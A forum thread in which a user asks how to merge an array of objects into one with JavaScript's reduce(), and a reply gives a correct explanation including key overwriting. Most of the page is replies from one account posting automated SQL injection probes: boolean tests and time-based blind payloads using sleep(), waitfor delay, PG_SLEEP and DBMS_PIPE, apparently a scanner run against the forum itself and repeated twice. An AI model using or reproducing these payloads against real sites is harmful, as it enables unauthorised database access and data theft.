Subham Mitra started this conversation 1 year ago.
How Do I Use `reduce()` to Flatten an Array of Objects?
I have an array of objects and I want to merge them into a single object using reduce(). Here’s what I tried:
const data = [
{ name: 'John', age: 30 },
{ profession: 'Developer' },
{ country: 'USA' }
];
const result = data.reduce((acc, obj) => {
return { ...acc, ...obj };
}, {});
console.log(result); // { name: 'John', age: 30, profession: 'Developer', country: 'USA' }
Shubham Chopra
Posted 1 year ago
Your implementation of reduce() to flatten an array of objects is spot-on. Here's a breakdown of what you're doing:
Code Breakdown:
const data = [
{ name: 'John', age: 30 },
{ profession: 'Developer' },
{ country: 'USA' }
];
const result = data.reduce((acc, obj) => {
return { ...acc, ...obj }; // Merging the accumulator and the current object
}, {});
console.log(result); // { name: 'John', age: 30, profession: 'Developer', country: 'USA' }
How It Works:
reduce()iterates over each object in thedataarray.- In each iteration, you're spreading the properties of both the accumulator (
acc) and the current object (obj) into a new object ({ ...acc, ...obj }). - The accumulator (
acc) starts as an empty object ({}), and with each iteration, more properties are added into it from the current object (obj).
Output:
The result is:
{
name: 'John',
age: 30,
profession: 'Developer',
country: 'USA'
}
This works because the spread operator (...) combines the properties of the two objects, and reduce() continues accumulating the properties from all objects into one.
Important Notes:
- Property Overwriting: If multiple objects in your array contain the same property keys, the later values will overwrite the earlier ones. For example:
const data = [
{ name: 'John', age: 30 },
{ name: 'Jane' }, // This will overwrite the 'name' key from 'John'
{ country: 'USA' }
];
const result = data.reduce((acc, obj) => ({ ...acc, ...obj }), {});
console.log(result); // { name: 'Jane', age: 30, country: 'USA' }
Here, 'Jane' will overwrite 'John' for the name property.
Conclusion:
Your use of reduce() and the spread operator is a clean and effective way to flatten an array of objects into a single object. The reduce() method iterates through the array, progressively merging each object into the accumulator object.
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
-1 OR 2+222-222-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1 OR 3+222-222-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1 OR 2+641-641-1=0+0+0+1
fnfOzvSR
Posted 1 year ago
-1 OR 3+641-641-1=0+0+0+1
fnfOzvSR
Posted 1 year ago
-1' OR 2+709-709-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1' OR 3+709-709-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1' OR 2+278-278-1=0+0+0+1 or 'mVzhjdk2'='
fnfOzvSR
Posted 1 year ago
-1' OR 3+278-278-1=0+0+0+1 or 'mVzhjdk2'='
fnfOzvSR
Posted 1 year ago
-1" OR 2+52-52-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1" OR 3+52-52-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
555*if(now()=sysdate(),sleep(15),0)
fnfOzvSR
Posted 1 year ago
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
fnfOzvSR
Posted 1 year ago
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
fnfOzvSR
Posted 1 year ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
fnfOzvSR
Posted 1 year ago
555-1; waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555-1); waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555-1 waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555xKtzdYk4'; waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555-1 OR 690=(SELECT 690 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555-1) OR 716=(SELECT 716 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555-1)) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555vy8z5veg' OR 331=(SELECT 331 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555Io0te2K7') OR 380=(SELECT 380 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555ncV3kLwn')) OR 609=(SELECT 609 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
fnfOzvSR
Posted 1 year ago
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555'"
fnfOzvSR
Posted 1 year ago
@@3cT1F
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
-1 OR 2+624-624-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1 OR 3+624-624-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1 OR 2+70-70-1=0+0+0+1
fnfOzvSR
Posted 1 year ago
-1 OR 3+70-70-1=0+0+0+1
fnfOzvSR
Posted 1 year ago
-1' OR 2+860-860-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1' OR 3+860-860-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1' OR 2+533-533-1=0+0+0+1 or 'FYMxBKkB'='
fnfOzvSR
Posted 1 year ago
-1' OR 3+533-533-1=0+0+0+1 or 'FYMxBKkB'='
fnfOzvSR
Posted 1 year ago
-1" OR 2+157-157-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
-1" OR 3+157-157-1=0+0+0+1 --
fnfOzvSR
Posted 1 year ago
555*if(now()=sysdate(),sleep(15),0)
fnfOzvSR
Posted 1 year ago
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
fnfOzvSR
Posted 1 year ago
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
fnfOzvSR
Posted 1 year ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
fnfOzvSR
Posted 1 year ago
555-1; waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555-1); waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555-1 waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555Tio9zcEP'; waitfor delay '0:0:15' --
fnfOzvSR
Posted 1 year ago
555-1 OR 256=(SELECT 256 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555-1) OR 162=(SELECT 162 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555-1)) OR 83=(SELECT 83 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
5554ifn3tem' OR 469=(SELECT 469 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555EhYsRc5d') OR 509=(SELECT 509 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555W42OX8HL')) OR 640=(SELECT 640 FROM PG_SLEEP(15))--
fnfOzvSR
Posted 1 year ago
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
fnfOzvSR
Posted 1 year ago
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
fnfOzvSR
Posted 1 year ago
555
fnfOzvSR
Posted 1 year ago
555'"
fnfOzvSR
Posted 1 year ago
@@gdJxf
fnfOzvSR
Posted 1 year ago
555